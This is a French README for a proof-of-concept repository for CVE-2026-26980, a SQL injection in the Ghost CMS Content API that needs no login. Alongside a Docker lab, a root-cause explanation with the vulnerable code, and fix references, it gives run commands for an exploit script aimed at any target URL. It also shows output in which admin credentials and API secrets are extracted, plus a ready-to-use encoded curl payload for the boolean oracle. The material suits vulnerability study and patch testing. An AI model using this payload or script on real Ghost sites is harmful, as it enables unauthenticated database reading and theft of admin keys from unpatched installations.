
Injection SQL de Ghost Content API
★ CVE-2026-26980 PoC d'injection SQL dans l'API de contenu de TryGhost Ghost CMS ★
https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c
CVE-2026-26980 est une vulnérabilité d'injection SQL non authentifiée dans l'API de contenu de TryGhost Ghost CMS. Le chemin vulnérable est accessible via la logique de traitement des filtres de l'API de contenu publique lorsque le tri slug:[...] est traité.
Ce PoC construit un laboratoire contrôlé Ghost 6.19.0 et démontre comment une requête à l'API de contenu publique peut être transformée en primitive de lecture de base de données basée sur un oracle booléen.
| Produit | Version concernée | Version corrigée | Type de vulnérabilité |
|---|---|---|---|
| TryGhost Ghost CMS | >= 3.24.0, < 6.19.1 | 6.19.1 | Injection SQL |
L'environnement de laboratoire utilise Ghost 6.19.0.
Créez et exécutez l'environnement Ghost CMS vulnérable avec Docker :
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980
Exemple :
http://127.0.0.1:9102/
Le laboratoire exécute une instance réelle vulnérable de Ghost 6.19.0 sur le port 9102.
La clé d'API de contenu du laboratoire est :
EQSTLab299
CVE-2026-26980 : vulnérabilité d'injection SQL dans l'API de contenu de TryGhost Ghost CMS
description : Une vulnérabilité d'injection SQL dans TryGhost Ghost CMS antérieur à 6.19.1 permet à un attaquant non authentifié disposant d'une clé d'API de contenu publique de lire des valeurs arbitraires de la base de données via le paramètre de filtre de l'API de contenu. Le problème se produit dans le chemin de tri du filtre slug:[...], où les valeurs de slug contrôlées par l'utilisateur sont insérées dans du SQL brut sans liaison de paramètres appropriée.
Les clés d'API de contenu Ghost sont couramment exposées aux navigateurs par conception, via les thèmes, la recherche, le portail ou le JavaScript frontal. Cela signifie que le chemin vulnérable peut être accessible sans authentification Ghost Admin.
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980
python3 poc.py --url [Target]
Clé d'API de contenu personnalisée facultative :
python3 poc.py --url [Target] --key [Content API Key]
python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299
Exemple de [Target] : http://127.0.0.1:9102
========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target: [Target]
API Key: [Content API Key]
Endpoint: Content API (public, no auth)
[*] Calibrating oracle... OK
[*] Phase 1: Recon (fast checks)
length(users.email) = 17
length(users.password) = 60
count(settings) (3 chars): 110
count(users) (1 chars): 1
count(api_keys) (1 chars): 9
[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>
[*] Phase 3: DB snapshot
Result: DB read primitive confirmed
Le PoC public démontre l'impact de la lecture de la base de données en extrayant des métadonnées de base de données sûres pour le laboratoire et le matériel de clé API Ghost. Il n'affiche pas le flag du défi.
GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]
La logique vulnérable se trouve dans le chemin de sérialisation des entrées de l'API de contenu de Ghost pour les filtres slug:[...]. Ghost prend en charge les filtres de slug de type liste et préserve l'ordre des slugs demandés en générant une expression ORDER BY CASE.
Dans les versions vulnérables, les valeurs de slug contrôlées par l'utilisateur sont insérées dans un fragment SQL. Un modèle vulnérable simplifié est :
for (const [index, slug] of slugs.entries()) {
order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}
Étant donné que slug est contrôlé par l'attaquant et inséré dans la chaîne SQL sans liaison de paramètres, un filtre d'API de contenu spécialement conçu peut sortir de la comparaison prévue et injecter une logique SQL supplémentaire.
Le PoC du laboratoire utilise deux balises publiques, bacon et chorizo, comme oracle booléen observable.
bacon est trié en premier.chorizo est trié en premier.En répétant ce test avec différentes conditions SQL, le PoC peut déduire les valeurs de la base de données un caractère à la fois.
Vérification de l'oracle booléen avec curl :
curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"
La cause racine est la construction non sécurisée d'un fragment SQL ORDER BY CASE à partir de valeurs slug contrôlées par l'utilisateur. Le code vulnérable tente de préserver l'ordre des réponses de l'API de contenu, mais il traite les valeurs de filtre NQL analysées comme du texte SQL de confiance.
Un correctif robuste doit :
Ghost a corrigé ce problème dans 6.19.1 en remplaçant l'interpolation brute par des liaisons de requêtes paramétrées.
Il s'agit d'un problème CWE-89 : Neutralisation incorrecte des éléments spéciaux utilisés dans une commande SQL.
Étant donné que l'API de contenu Ghost est intentionnellement publique, cette vulnérabilité peut permettre à un attaquant non authentifié de créer une primitive de lecture de base de données via un point de terminaison de contenu public. Selon le contenu et les autorisations de la base de données, un attaquant peut être en mesure de :
+-------------------------------------------+
| Remote Attacker |
+-------------------------------------------+
|
| GET /ghost/api/content/tags/
| filter = slug:[<SQLi payload>,chorizo,bacon]
v
+-------------------------------------------+
| Ghost Public Content API |
+-------------------------------------------+
|
| Unsafe slug order SQL construction
v
+-------------------------------------------+
| ORDER BY CASE SQL Injection |
+-------------------------------------------+
|
| Boolean difference in tag ordering
v
+-------------------------------------------+
| Unauthenticated DB Read |
+-------------------------------------------+
Ce laboratoire exécute une instance réelle vulnérable de Ghost 6.19.0 plutôt qu'un serveur simulé minimal.
Le laboratoire initialise :
EQSTLab299bacon, chorizoLe poc.py public est conçu pour les vidéos de démonstration et les articles publics. Il montre l'impact de l'injection SQL sans afficher le flag du défi.
docker stop cve-2026-26980
Ce dépôt n'a pas vocation à être un exploit d'injection SQL pour CVE-2026-26980. L'objectif de ce projet est d'aider les personnes à apprendre cette vulnérabilité et, éventuellement, à tester leurs propres applications.
https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97
https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91
https://github.com/TryGhost/Ghost/releases/tag/v6.19.1
https://nvd.nist.gov/vuln/detail/CVE-2026-26980